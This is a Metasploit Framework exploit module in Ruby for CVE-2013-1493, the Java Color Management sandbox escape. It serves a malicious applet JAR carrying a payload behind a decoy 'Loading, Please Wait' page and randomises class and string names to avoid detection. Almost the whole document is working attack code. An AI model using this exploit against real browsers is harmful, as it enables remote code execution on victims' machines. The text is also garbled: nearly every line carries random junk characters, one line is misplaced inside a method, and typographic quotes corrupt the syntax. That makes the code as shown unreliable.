##
" _0 g" E" I$ j* L6 y, l
3 n% K) `' P4 o' `5 V9 k# This file is part of the Metasploit Framework and may be subject to
$ Z0 [6 u6 g1 m: X# redistribution and commercial restrictions. Please see the Metasploit
$ w, u- z7 x+ a9 {0 X) k8 e# web site for more information on licensing and terms of use.: H5 D- h( c, x* @
# http://metasploit.com/
+ ]9 ?3 e- Q/ ^5 D##2 o- \/ E, N0 P! i
require ‘msf/core’
5 g5 L0 _( _1 [9 s+ ~require ‘rex’8 J' Q2 y9 a; H" I% n5 M+ o
class Metasploit3 < Msf::Exploit::Remote0 ]3 r( f$ G" ?: Q7 y9 f
Rank = NormalRanking6 `3 k8 e G3 j# G9 l$ }
include Msf::Exploit::Remote::HttpServer::HTML, ]/ N$ [( r1 B5 A" T
include Msf::Exploit::EXE
! ~) B- v, d, f7 W0 linclude Msf::Exploit::Remote::BrowserAutopwn
+ o- L; [" d' E. e- W6 yautopwn_info({ :javascript => false }), d8 u) W1 i( h! m' i* z- c
def initialize( info = {} )
6 N8 `$ y4 e) O9 Gsuper( update_info( info,
+ F o9 y" m# n- H% u7 V‘Name’ => ‘Java CMM Remote Code Execution’,
& o6 ^9 r9 n, c" s$ a‘Description’ => %q{0 S k# R" y' n* s( Z$ O
This module abuses the Color Management classes from a Java Applet to run
3 j, ^" e0 a7 C; q0 r' ~arbitrary Java code outside of the sandbox as exploited in the wild in February1 \/ j; |& R2 X. s- Z+ R! e8 F+ V
and March of 2013. The vulnerability affects Java version 7u15 and earlier and 6u41
; t" c: a' k* Z9 F4 uand earlier and has been tested successfully on Windows XP SP3 and Windows 7 SP1+ t9 Z$ r, ^4 T$ j5 v- m9 ~
systems. This exploit doesn’t bypass click-to-play, so the user must accept the java# G/ e& {. n; ?3 s; f7 l8 l: x( u
warning in order to run the malicious applet.7 z5 l* K( L q4 _
},
% e5 P& t" s! ?3 v) E‘License’ => MSF_LICENSE,
$ k5 M+ \8 `9 W9 F' {- L‘Author’ =>
* ~3 K* w! e0 q'Unknown', # Vulnerability discovery and Exploit
. f0 p! ~( _( W( ]( y6 e6 R7 i'juan vazquez' # Metasploit module (just ported the published exploit)! ^' R8 C2 F. U7 {; W, ~* Q" ^
],0 H. q. e( j# k& r+ w
‘References’ =>6 o& U- s9 B4 X) V% m6 S. p# Z
[ p/ L( O( j8 j; l5 N% L
[ 'CVE', '2013-1493' ],
: ?: R! P$ m( r7 n[ 'OSVDB', '90737' ],
3 c7 V- @. ` m$ c[ 'BID', '58238' ],
4 ^! j* c; l9 v& Q3 g) D[ 'URL', 'https://blogs.oracle.com/security/entry/security_alert_cve_2013_1493' ],
/ J/ }& G& r9 r) ^+ ?6 l8 n[ 'URL', 'http://www.oracle.com/technetwork/topics/security/alert-cve-2013-1493-1915081.html' ],! j( A+ ]7 W" K) o3 }# W
[ 'URL', 'http://pastie.org/pastes/6581034' ]
; R& b6 d3 B1 P2 C. Y& j9 b],% @7 r. d) A% u+ u9 R% r S- F2 C
‘Platform’ => [ 'win', 'java' ],
8 ~3 L) b. D9 |8 A‘Payload’ => { ‘Space’ => 20480, ‘BadChars’ => ”, ‘DisableNops’ => true },: i4 Z7 Z: q/ k3 A
‘Targets’ =>
) m k7 V7 \8 }- s' |% z( K[9 P, e* y4 c* ?* \' ^( k
[ 'Generic (Java Payload)',
( l: X: [/ c5 X$ B{
) m7 b- K0 D N1 v; C'Platform' => 'java',5 f& y, q R, d& d8 ^% @
'Arch' => ARCH_JAVA
- {5 V& `1 F* P6 \}
. O, X% _! K. m9 y# ^],
S1 Y3 N/ F( e: I, n[ 'Windows x86 (Native Payload)',
4 m+ X% _# e5 G# u4 Z{
& e% D8 M3 y- r- o$ C8 l'Platform' => 'win',
* @; ^3 R7 y5 ~'Arch' => ARCH_X86) ~, m1 D9 r" v! L, k( }. N
}
) M4 I8 I, ?0 W7 m2 y4 g' M]; u' b- @, r7 w* \; S! z" I: \
],( B5 ?$ W/ h, Z4 G% F
‘‘DisclosureDate’ => ‘Mar 01 2013′* T' t* T$ N2 d9 u* x
)). q) t5 \% C+ w' N' r( c
end# h1 p0 j ^+ A
def setup
- p7 w: P0 \% R# X1 D5 J& Q1 P9 U# zpath = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “Init.class”)5 i) A7 @$ @( Y6 ? `
@init_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }
/ o1 B4 A0 u% L( D4 i, F! Bpath = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “Leak.class”)
% |( \; J( _2 p. f) X2 P. n@leak_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }. e$ i* W. U3 u, |- I1 \
path = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “MyBufferedImage.class”)
; A( z" x9 g* t) W% \) {@buffered_image_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }; a5 k+ p( J: v
path = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “MyColorSpace.class”)
; M9 [3 X7 J* d2 k; q, R6 \@color_space_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }; p/ Y" z3 i ^) g. _
@init_class_name = rand_text_alpha(“Init”.length)2 _( n1 \1 f% N, w0 I! ]6 V
@init_class.gsub!(“Init”, @init_class_name)
\# r* L2 t+ O+ h& T* a+ Msuper3 \. q8 h1 D: p) M& [" u, Z
end' j i1 ]( v( a# [5 z5 `2 @) |' L( r! B
def on_request_uri(cli, request)
. Y9 N; C0 x8 T& K# f, L5 Aprint_status(“handling request for #{request.uri}”)& G3 ~7 J+ u2 J; `) I6 q
case request.uri
' v* t, D- _( K A, [; @, r' mwhen /\.jar$/i3 P% d' k4 m K3 b" M& W! U0 ?( s
jar = payload.encoded_jar
' L1 h5 ]- D" l0 zjar.add_file(“#{@init_class_name}.class”, @init_class)
) b/ Y5 p, K0 |6 {% Ejar.add_file(“Leak.class”, @leak_class)9 I3 g+ P5 R2 F. K
jar.add_file(“MyBufferedImage.class”, @buffered_image_class)( `: W# f% I/ e
jar.add_file(“MyColorSpace.class”, @color_space_class)* }* G0 B/ @9 Q; [3 x q+ k- ]" ^
DefaultTarget’ => 1,' J/ V- u& h! g0 ^( W2 s- |
metasploit_str = rand_text_alpha(“metasploit”.length): c9 u. w8 c* i8 b* Q1 n
payload_str = rand_text_alpha(“payload”.length)$ x4 j& n, D" F a4 P8 y. H) ~" S
jar.entries.each { |entry|
9 D# Y; W( \( U8 M& aentry.name.gsub!(“metasploit”, metasploit_str): ^3 C: M% r ^- }; I( v( }
entry.name.gsub!(“Payload”, payload_str)
9 o6 J4 } T6 l8 ^entry.data = entry.data.gsub(“metasploit”, metasploit_str)
5 d( r c( F2 hentry.data = entry.data.gsub(“Payload”, payload_str)* j4 i4 O* s1 S8 x
}
4 V0 G! e; N) s; u, Y" }; u9 Njar.build_manifest# Y l0 @) Z9 a z
send_response(cli, jar, { ‘Content-Type’ => “application/octet-stream” })
5 p2 \6 e1 a, A+ o: ]when /\/$/
, G) J, @4 H% y( h9 gpayload = regenerate_payload(cli)1 f! l: C9 W' c8 W8 N3 ^) {8 O2 z( j4 M+ J
if not payload
9 L1 j' u' y- ?& Z# ?1 M+ \. Xprint_error(“Failed to generate the payload.”)
$ l, ?$ ^5 ?! n# b+ m7 ]6 g; Dsend_not_found(cli)
$ ]0 u Q( q/ K- k, q4 treturn0 g' h7 N( z6 O: N
end
6 Y5 ^1 D# c+ F# fsend_response_html(cli, generate_html, { ‘Content-Type’ => ‘text/html’ })
. e/ n+ w+ L) a: lelse
3 r4 y' |7 Y& H; f9 K8 ]send_redirect(cli, get_resource() + ‘/’, ”)" m) e* {) t3 c
end
% v" w8 u7 F/ I7 d9 q. Rend4 W1 Y6 W; ?3 x: c! J
def generate_html
1 r( x" f2 a5 g( |3 P6 n, C1 lhtml = %Q|<html><head><title>Loading, Please Wait…</title></head>|$ e- [- T5 k0 i! m0 w: \0 ^
html += %Q|<body><center><p>Loading, Please Wait…</p></center>|0 J0 a/ G7 p5 J" I" k4 ]
html += %Q|<applet archive=”#{rand_text_alpha(8)}.jar” code=”#{@init_class_name}.class” width=”1″ height=”1″>|
7 }5 d/ M; x1 Ahtml += %Q|</applet></body></html>|
* i8 F) F2 R0 yreturn html
3 }3 H' v7 V4 A- N& B. ]end
7 O! }$ z7 w& S( A; G* {: o1 lend
. g) j5 b8 X( x h2 j/ ]: Hend
8 L) ?4 ]; b! g Q |